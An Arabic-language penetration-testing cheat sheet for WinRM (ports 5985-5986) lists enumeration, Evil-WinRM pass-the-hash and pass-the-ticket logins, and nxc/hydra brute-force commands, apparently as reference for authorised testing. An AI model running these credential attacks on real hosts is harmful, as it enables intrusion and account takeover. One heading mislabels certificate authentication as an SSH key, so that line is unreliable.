WinRM — 5985-5986/TCP

Windows Remote Management — وصول عن بعد عبر HTTP/HTTPS. يستخدمه PowerShell Remoting وEvil-WinRM.


Enumeration

# Nmap
nmap -p 5985,5986 -sV 192.168.1.1

# NetExec
nxc winrm 192.168.1.0/24
nxc winrm 192.168.1.1 -u user -p pass
nxc winrm 192.168.1.1 -u Administrator -H <NTLM_HASH>

الثغرات والاستغلال

1. Evil-WinRM — Shell تفاعلي

# بكلمة مرور
evil-winrm -i 192.168.1.1 -u Administrator -p Password123

# Pass-the-Hash
evil-winrm -i 192.168.1.1 -u Administrator -H <NTLM_HASH>

# Pass-the-Ticket
export KRB5CCNAME=ticket.ccache
evil-winrm -i dc01.domain.local -r domain.local

# بمفتاح SSH
evil-winrm -i 192.168.1.1 -u user -k private.key -c cert.pem  # HTTPS

2. Brute Force

nxc winrm 192.168.1.1 -u users.txt -p pass.txt
hydra -l Administrator -P pass.txt 192.168.1.1 -s 5985 http-get /wsman

3. PowerShell Remoting

# Windows
$cred = Get-Credential
Enter-PSSession -ComputerName 192.168.1.1 -Credential $cred

Invoke-Command -ComputerName 192.168.1.1 -Credential $cred -ScriptBlock { whoami }

أدوات

الأداة الاستخدام
evil-winrm Shell تفاعلي + PTH
nxc winrm Enum و Brute
PowerShell Remoting من Windows